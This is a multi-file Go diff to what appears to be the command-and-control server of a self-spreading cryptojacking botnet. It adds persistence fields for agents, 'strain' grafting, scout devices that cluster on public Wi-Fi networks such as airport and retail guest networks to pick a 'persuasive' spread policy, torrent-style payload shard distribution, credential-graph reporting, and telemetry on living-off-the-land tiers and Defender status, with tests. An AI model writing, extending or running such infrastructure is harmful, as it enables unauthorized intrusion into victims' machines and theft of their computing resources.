time.Sleep(100 * time.Millisecond)
}

View File

@@ -81,6 +81,13 @@ type TraceSession struct {
// Client WireGuard keypair — used to build the QR config.
clientPrivKey string
clientPubKey string
// Onion timeline fork/merge — ghost branches explore persona spread/mining on target hop.
TimelineRootID string `json:"timeline_root_id,omitempty"`
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
MergedPersona string `json:"merged_persona,omitempty"`
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
MergedBranchID string `json:"merged_branch_id,omitempty"`
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
}
const (
@@ -122,6 +129,12 @@ type pathTraceSessionPersist struct {
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
ClientPrivKey string `json:"client_priv_key,omitempty"`
ClientPubKey string `json:"client_pub_key,omitempty"`
TimelineRootID string `json:"timeline_root_id,omitempty"`
TimelineBranches []*TimelineBranch `json:"timeline_branches,omitempty"`
MergedPersona string `json:"merged_persona,omitempty"`
MergedSpreadLane string `json:"merged_spread_lane,omitempty"`
MergedBranchID string `json:"merged_branch_id,omitempty"`
MergedHashrate float64 `json:"merged_hashrate,omitempty"`
}
func (h *PathTracerHandler) loadPersistedSessions() {
@@ -163,6 +176,12 @@ func (h *PathTracerHandler) loadPersistedSessions() {
NetworkHints: rec.NetworkHints,
clientPrivKey: rec.ClientPrivKey,
clientPubKey: rec.ClientPubKey,
TimelineRootID: rec.TimelineRootID,
TimelineBranches: rec.TimelineBranches,
MergedPersona: rec.MergedPersona,
MergedSpreadLane: rec.MergedSpreadLane,
MergedBranchID: rec.MergedBranchID,
MergedHashrate: rec.MergedHashrate,
}
}
if len(rows) > 0 {
@@ -189,6 +208,12 @@ func (h *PathTracerHandler) persistSession(sess *TraceSession) {
NetworkHints: sess.NetworkHints,
ClientPrivKey: sess.clientPrivKey,
ClientPubKey: sess.clientPubKey,
TimelineRootID: sess.TimelineRootID,
TimelineBranches: sess.TimelineBranches,
MergedPersona: sess.MergedPersona,
MergedSpreadLane: sess.MergedSpreadLane,
MergedBranchID: sess.MergedBranchID,
MergedHashrate: sess.MergedHashrate,
}
h.mu.Unlock()
raw, err := json.Marshal(rec)
@@ -303,6 +328,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
h.mu.Lock()
h.sessions[sess.ID] = sess
initCanonicalTimeline(sess)
h.mu.Unlock()
h.persistSession(sess)
@@ -345,6 +371,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
resp["spread_routes"] = routes
}
for k, v := range timelineFieldsForStatus(sess) {
resp[k] = v
}
writeJSON(w, resp)
}

View File

@@ -207,6 +207,47 @@ func encodeDNSTXTShard(data []byte) string {
return base64.StdEncoding.EncodeToString(data)
}
// GET /api/v1/public/erasure-torrent/{token}/manifest
func (h *PublicHandler) ErasureTorrentManifest(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
return
}
token := strings.TrimSpace(chi.URLParam(r, "token"))
if token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
p, ok := h.erasureShards.ParamsFor(token)
if !ok {
http.Error(w, "torrent not found", http.StatusNotFound)
return
}
total := p.TotalShards()
shards := make([][]byte, total)
hasAny := false
for i := 0; i < total; i++ {
if sh, ok := h.erasureShards.Get(token, i); ok {
shards[i] = sh
hasAny = true
}
}
if !hasAny {
http.Error(w, "torrent not found", http.StatusNotFound)
return
}
base := strings.TrimRight(strings.TrimSpace(r.URL.Scheme+"://"+r.Host), "/")
if base == "://" {
base = "http://127.0.0.1:8989"
}
manifest, err := erasure.BuildTorrentManifest(base, token, "", len(shards[0])*p.DataShards, p, erasure.ShardContentHashes(shards))
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, manifest)
}
// GET /api/v1/public/erasure-shard/{token}/{index}
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
if h.erasureShards == nil {

View File

@@ -571,6 +571,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
phenotypeHandler := NewPhenotypeHandler(database)
r.Get("/phenotypes", phenotypeHandler.List)
subnetAutopsyHandler := NewSubnetAutopsyHandler(wsHub, pathTracerHandler)
r.Get("/atlas/subnet-autopsy", subnetAutopsyHandler.Get)
if fleetHandler != nil {
r.Get("/alerts", fleetHandler.GetAlerts)
r.Post("/alerts/test", fleetHandler.PostAlertTest)
@@ -585,6 +588,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
}
if fleetAIHandler != nil {
r.Get("/ai/models", fleetAIHandler.GetModels)
@@ -593,6 +599,15 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
}
seerHandler := NewSeerHandler(database)
r.Get("/seer/stream", seerHandler.GetStream)
r.Post("/seer/stream", seerHandler.PostStream)
r.Get("/seer/notes", seerHandler.GetNotes)
r.Post("/seer/notes", seerHandler.PostNote)
r.Get("/seer/tools", seerHandler.GetTools)
r.Post("/seer/tools/spread_route", seerHandler.ToolSpreadRoute)
r.Post("/seer/tools/graft_strain", seerHandler.ToolGraftStrain)
r.Post("/seer/tools/fork_onion", seerHandler.ToolForkOnion)
moduleStore := NewModuleStore(dataDir, func() string {
fleetSecretForAgentPathsMu.RLock()
@@ -638,6 +653,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
if wsHub != nil {
scoutHandler := NewScoutConstellationHandler(wsHub)
r.Get("/scout/constellations", scoutHandler.GetConstellations)
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
@@ -722,6 +741,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
r.Post("/pathtrace/fork", pathTracerHandler.Fork)
r.Post("/pathtrace/merge", pathTracerHandler.Merge)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
@@ -751,6 +772,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
}
})

View File

@@ -0,0 +1,106 @@
package api
import (
"encoding/json"
"net/http"
"time"
fleetai "crypto-miner-server/internal/ai"
)
// ScoutConstellationHandler serves active scout venue constellations.
type ScoutConstellationHandler struct {
hub *WSHub
}
// NewScoutConstellationHandler returns a REST handler backed by the WS hub.
func NewScoutConstellationHandler(hub *WSHub) *ScoutConstellationHandler {
return &ScoutConstellationHandler{hub: hub}
}
// GET /api/v1/scout/constellations
func (h *ScoutConstellationHandler) GetConstellations(w http.ResponseWriter, _ *http.Request) {
if h.hub == nil {
writeJSON(w, map[string]interface{}{"constellations": []fleetai.ScoutConstellation{}})
return
}
writeJSON(w, map[string]interface{}{
"constellations": h.hub.scoutConstellationSnapshot(),
"generated_at": time.Now().UTC().Format(time.RFC3339),
})
}
func (h *WSHub) ensureScoutConstellations() {
if h.scoutConstellations == nil {
h.scoutConstellations = fleetai.NewScoutConstellationRegistry()
}
if h.scoutAgents == nil {
h.scoutAgents = make(map[string]bool)
}
}
func (h *WSHub) scoutConstellationSnapshot() []fleetai.ScoutConstellation {
h.scoutConstellationMu.Lock()
defer h.scoutConstellationMu.Unlock()
h.ensureScoutConstellations()
return h.scoutConstellations.Snapshot()
}
func (h *WSHub) scoutConstellationForAgent(agentID string) *fleetai.ScoutConstellation {
h.scoutConstellationMu.Lock()
defer h.scoutConstellationMu.Unlock()
h.ensureScoutConstellations()
return h.scoutConstellations.ForAgent(agentID)
}
func (h *WSHub) ingestScoutConstellationReport(agentID, ssid string, serviceCount int) {
h.scoutConstellationMu.Lock()
defer h.scoutConstellationMu.Unlock()
h.ensureScoutConstellations()
h.scoutAgents[agentID] = true
constellation, changed := h.scoutConstellations.Record(agentID, ssid, serviceCount, time.Now().UTC())
if !changed {
return
}
h.broadcastScoutConstellationsLocked()
h.pushScoutConstellationPolicyLocked(constellation)
}
func (h *WSHub) broadcastScoutConstellationsLocked() {
snapshot := h.scoutConstellations.Snapshot()
h.broadcastDashboard(Message{
Type: "scout_constellations",
Payload: mustMarshal(map[string]interface{}{
"constellations": snapshot,
"generated_at": time.Now().UTC().Format(time.RFC3339),
}),
})
}
func (h *WSHub) pushScoutConstellationPolicyLocked(constellation fleetai.ScoutConstellation) {
spreadPolicy := fleetai.BuildScoutSpreadPolicy(constellation)
temp := fleetai.PersonaSpreadTemperament(constellation.PersonaPack)
policy := FleetAgentPolicy{SpreadTemperament: &temp}
for _, agentID := range constellation.AgentIDs {
payload := marshalPolicyUpdatePayload("scout-constellation-"+constellation.SSID, policy)
var body map[string]interface{}
_ = json.Unmarshal(payload, &body)
if body == nil {
body = map[string]interface{}{}
}
body["spread_policy"] = spreadPolicy
out, _ := json.Marshal(body)
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: out})
}
}
func (h *WSHub) scoutSpreadPolicyForAuth(agentID string) map[string]interface{} {
c := h.scoutConstellationForAgent(agentID)
if c == nil {
return nil
}
return fleetai.BuildScoutSpreadPolicy(*c)
}

View File

@@ -0,0 +1,137 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"time"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
ssid := "SFO-Airport-Free"
now := time.Now().UTC()
for i, id := range []string{"scout-a", "scout-b", "scout-c"} {
if err := database.UpsertAgent(&models.Agent{
ID: id, Name: id, Platform: "android", Status: "online",
IP: "127.0.0.1", LastSeen: now,
}); err != nil {
t.Fatal(err)
}
hub.ingestScoutConstellationReport(id, ssid, 18+i)
}
snapshot := hub.scoutConstellationSnapshot()
if len(snapshot) != 1 {
t.Fatalf("constellations=%d", len(snapshot))
}
if snapshot[0].VenueClass != fleetai.VenueAirport {
t.Fatalf("venue=%q", snapshot[0].VenueClass)
}
if snapshot[0].PersonaPack != fleetai.PersonaPersuasive {
t.Fatalf("persona=%q", snapshot[0].PersonaPack)
}
policy := hub.scoutSpreadPolicyForAuth("scout-a")
if policy == nil {
t.Fatal("missing spread policy for scout in constellation")
}
if policy["persona_pack"] != fleetai.PersonaPersuasive {
t.Fatalf("policy persona=%v", policy["persona_pack"])
}
if policy["venue_class"] != fleetai.VenueAirport {
t.Fatalf("policy venue=%v", policy["venue_class"])
}
}
func TestScoutConstellationRESTEndpoint(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10)
hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11)
hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12)
handler := NewScoutConstellationHandler(hub)
req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil)
rec := httptest.NewRecorder()
handler.GetConstellations(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
}
var body struct {
Constellations []fleetai.ScoutConstellation `json:"constellations"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if len(body.Constellations) != 1 {
t.Fatalf("constellations=%d", len(body.Constellations))
}
if body.Constellations[0].VenueClass != fleetai.VenueCampus {
t.Fatalf("venue=%q", body.Constellations[0].VenueClass)
}
}
func TestScoutReportWSIngestsSSID(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
scoutID := "apk-scout-ws"
if err := database.UpsertAgent(&models.Agent{
ID: scoutID, Name: "tablet", Platform: "android", Status: "online",
IP: "127.0.0.1", LastSeen: time.Now(),
}); err != nil {
t.Fatal(err)
}
conn, _ := dialAgentWS(t, hub)
_ = authAgentConn(t, conn, map[string]interface{}{
"agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test",
})
payload, _ := json.Marshal(map[string]interface{}{
"scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6,
})
if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil {
t.Fatal(err)
}
time.Sleep(50 * time.Millisecond)
c := hub.scoutConstellationForAgent(scoutID)
if c != nil {
t.Fatal("single scout should not form constellation yet")
}
for _, id := range []string{"scout-2", "scout-3"} {
hub.ingestScoutConstellationReport(id, "Target-Guest", 5)
}
hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6)
c = hub.scoutConstellationForAgent(scoutID)
if c == nil {
t.Fatal("expected constellation after third scout")
}
if c.VenueClass != fleetai.VenueRetail {
t.Fatalf("venue=%q", c.VenueClass)
}
}

View File

@@ -26,6 +26,8 @@ type ServerPolicy struct {
HashrateGateHPS float64
// ErasureLanesEnabled attaches ReedSolomon shard metadata to signed deploy plans.
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.

View File

@@ -47,14 +47,25 @@ type spreadCredReportRequest struct {
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
type SpreadCredHandler struct {
db *dbpkg.Database
provider SpreadCredProvider
db *dbpkg.Database
provider SpreadCredProvider
hub *WSHub
pathTracer *PathTracerHandler
}
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
return &SpreadCredHandler{db: database, provider: provider}
}
// BindAutopsyTrigger wires immune autopsy emission when subnet spread pause activates.
func (h *SpreadCredHandler) BindAutopsyTrigger(hub *WSHub, pathTracer *PathTracerHandler) {
if h == nil {
return
}
h.hub = hub
h.pathTracer = pathTracer
}
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
rows, err := h.db.ListCredGraphBySubnet()
@@ -202,7 +213,11 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
target = req.Host
}
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
prefix := atlas.PrefixFromHostOrIP(target)
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", prefix, atlas.SubnetSpreadFailureThreshold)
if h.hub != nil {
h.hub.TriggerSubnetAutopsy(prefix, h.pathTracer)
}
}
}
writeJSON(w, map[string]interface{}{"ok": true})

View File

@@ -17,6 +17,7 @@ import (
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/epidemiology"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/strategy"
@@ -170,7 +171,10 @@ type WSHub struct {
serverPolicy ServerPolicy
adaptiveEngine *strategy.AdaptiveEngine
failureAtlas *atlas.FailureAtlas
subnetImmune *atlas.SubnetImmune
subnetImmune *atlas.SubnetImmune
subnetAutopsies map[string]atlas.SubnetAutopsyPacket
subnetGossipWhispers map[string][]atlas.GossipHint
epidemiology *epidemiology.Tracker
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -189,6 +193,11 @@ type WSHub struct {
beaconCmdQueue map[string][]BeaconCommand
beaconPolicyQueue map[string][]FleetAgentPolicy
// Scout constellation venue clustering (APK scouts reporting same SSID).
scoutConstellationMu sync.Mutex
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub {
agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype),
agentSubnet: make(map[string]string),
breedingRegistry: strategy.NewBreedingRegistry(),
epidemiology: epidemiology.NewTracker(),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
}
}
// PolicyErasureEnabled reports whether ReedSolomon erasure lanes are active.
func (h *WSHub) PolicyErasureEnabled() bool {
return h.serverPolicySnapshot().ErasureLanesEnabled
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
}
resp["triple_onion_policy"] = top
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
spreadPolicy := map[string]interface{}{
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
}
spreadPolicy := map[string]interface{}{}
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
}
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
var inherited *strategy.InheritedPhenotype
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
@@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.AIControlEnabled {
resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona)
}
if graft, ok := h.GraftPolicyForAgent(agentID); ok {
resp["graft_policy"] = graft
agent.GraftSourceStrain = graft.GraftSourceStrain
agent.GraftTier = graft.GraftTier
}
if h.clearance != nil {
level := h.clearance.InitAgent(agentID, agent)
resp["clearance_level"] = level
@@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
resp["lan_seeders"] = seeders
}
}
if policy.FleetTorrentEnabled && hint == "seeder" {
if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" {
resp["subnet_primary_seeder"] = primary
}
}
}
h.attachEpidemiologyFix(resp, agentID)
return resp
}())})
@@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts)
h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder)
h.ingestFleetPressure(agentID, broadcast)
epiStats := epidemiology.StatsInput{
FleetRole: stats.FleetRole,
ActiveMethod: stats.ActiveMethod,
MiningHashrate: stats.MiningHashrate,
Hashrate15m: stats.Hashrate15m,
GPUHashrate15m: stats.GPUHashrate15m,
ChainExhausted: stats.ChainExhausted,
MiningLastError: stats.MiningLastError,
LOTLTier: stats.LOTLTier,
JoinLane: stats.JoinLane,
ParentAgentID: stats.ParentAgentID,
SpreadGeneration: stats.SpreadGeneration,
SpreadStrain: stats.SpreadStrain,
}
if stats.GPUMinerActive != nil {
epiStats.GPUMinerActive = *stats.GPUMinerActive
}
for _, f := range stats.FailedMethods {
epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{
Method: f.Method,
Reason: f.Reason,
At: f.At,
})
}
for _, a := range stats.LOTLAttempts {
epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{
Tier: a.Tier,
OK: a.OK,
Error: a.Error,
})
}
h.observeEpidemiologyFromStats(agentID, epiStats)
h.queueStatsBroadcast(broadcast)
case "scout_report":
@@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
continue
}
var report struct {
SSID string `json:"ssid"`
JoinLane string `json:"join_lane"`
ServiceCount int `json:"service_count"`
ScoutMode bool `json:"scout_mode"`
@@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
firewallDomain = ag.FirewallDomain
}
h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount)
if strings.TrimSpace(report.SSID) != "" {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
case "ai_snapshot":
if agentID == "" {
@@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
h.handleAgentAtlasGossip(agentID, msg.Payload)
case "fleet_torrent_gossip":
if agentID == "" {
continue
}
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
case "command_result":
if agentID == "" {
continue
@@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype(
SourceAgentName: ag.Name,
})
}
h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts)
}
func (h *WSHub) tryPublishScoutPhenotype(
@@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
})
}
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
h.broadcastDashboard(Message{
Type: "seer_notes_updated",
Payload: mustMarshal(note),
})
}
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
var warRoomBroadcastInterval = 30 * time.Second

View File

@@ -135,6 +135,11 @@ type BuildRequest struct {
SpreadGeneration int `json:"spread_generation"`
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
// Genealogy graft — court-approved strain splice (telemetry; applied on next spread).
GraftSourceStrain string `json:"graft_source_strain,omitempty"`
GraftTier string `json:"graft_tier,omitempty"`
GraftApprovedAt string `json:"graft_approved_at,omitempty"`
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
SeederMode bool `json:"seeder_mode,omitempty"`
@@ -1323,6 +1328,10 @@ func GetBuiltinConfig() BuiltinConfig {
SpreadStrain: %q,
BakedJoinLane: %q,
GraftSourceStrain: %q,
GraftTier: %q,
GraftApprovedAt: %q,
ApkMode: %v,
ScoutMode: %v,
MiningDisabled: %v,
@@ -1416,6 +1425,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.SpreadGeneration,
spreadStrainFromJoinLane(req.JoinLane),
strings.TrimSpace(req.JoinLane),
strings.TrimSpace(req.GraftSourceStrain),
strings.TrimSpace(req.GraftTier),
strings.TrimSpace(req.GraftApprovedAt),
req.ApkMode,
req.ScoutMode,
req.MiningDisabled,

View File

@@ -52,7 +52,7 @@ func ActionRequiredLevel(action string) int {
return L2
case "exec", "exec_shell", "powershell", "agent_command":
return L3
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update", "spread_graft":
return L4
default:
return L0
@@ -83,7 +83,7 @@ func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
}
}
return L1
case "set_agent_version", "reorder_tiers":
case "set_agent_version", "reorder_tiers", "spread_graft":
return L4
default:
return ActionRequiredLevel(typ)

View File

@@ -1,6 +1,7 @@
package db
import (
"database/sql"
"encoding/json"
"log"
"strings"
@@ -36,6 +37,8 @@ func (d *Database) scanAgent(row interface {
var notes, tagsRaw string
var usbSpread int
var gpuMinerActive int
var graftStrain, graftTier sql.NullString
var graftApproved sql.NullString
err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -46,6 +49,7 @@ func (d *Database) scanAgent(row interface {
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
&a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain,
&graftStrain, &graftTier, &graftApproved,
)
if err != nil {
return nil, err
@@ -57,6 +61,7 @@ func (d *Database) scanAgent(row interface {
active := true
a.GPUMinerActive = &active
}
a.GraftSourceStrain, a.GraftTier, a.GraftApprovedAt = scanGraftFields(graftStrain, graftTier, graftApproved)
return a, nil
}
@@ -64,7 +69,8 @@ const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memor
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active,
parent_agent_id, spread_generation, spread_strain`
parent_agent_id, spread_generation, spread_strain,
graft_source_strain, graft_tier, graft_approved_at`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -141,6 +141,9 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_source_strain TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_tier TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_approved_at DATETIME`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`)
extraMigrations := []string{
@@ -241,6 +244,22 @@ func (d *Database) migrate() error {
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`,
`CREATE TABLE IF NOT EXISTS strain_cards (
id TEXT PRIMARY KEY,
root_agent_id TEXT NOT NULL UNIQUE,
source_agent_id TEXT NOT NULL,
source_agent_name TEXT NOT NULL DEFAULT '',
spread_strain TEXT NOT NULL DEFAULT '',
spread_lane TEXT NOT NULL DEFAULT '',
persona TEXT NOT NULL DEFAULT 'balanced',
card_json TEXT NOT NULL DEFAULT '{}',
peak_hashrate REAL NOT NULL DEFAULT 0,
erasure_recovery_rate REAL NOT NULL DEFAULT 0,
tree_size INTEGER NOT NULL DEFAULT 0,
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`,
`CREATE INDEX IF NOT EXISTS idx_strain_cards_source ON strain_cards(source_agent_id)`,
`CREATE TABLE IF NOT EXISTS pathtrace_sessions (
id TEXT PRIMARY KEY,
created_at DATETIME NOT NULL,
@@ -248,6 +267,12 @@ func (d *Database) migrate() error {
)`,
`CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`,
}
if err := d.ensureStrainMemoryTable(); err != nil {
return fmt.Errorf("strain_memory migration: %w", err)
}
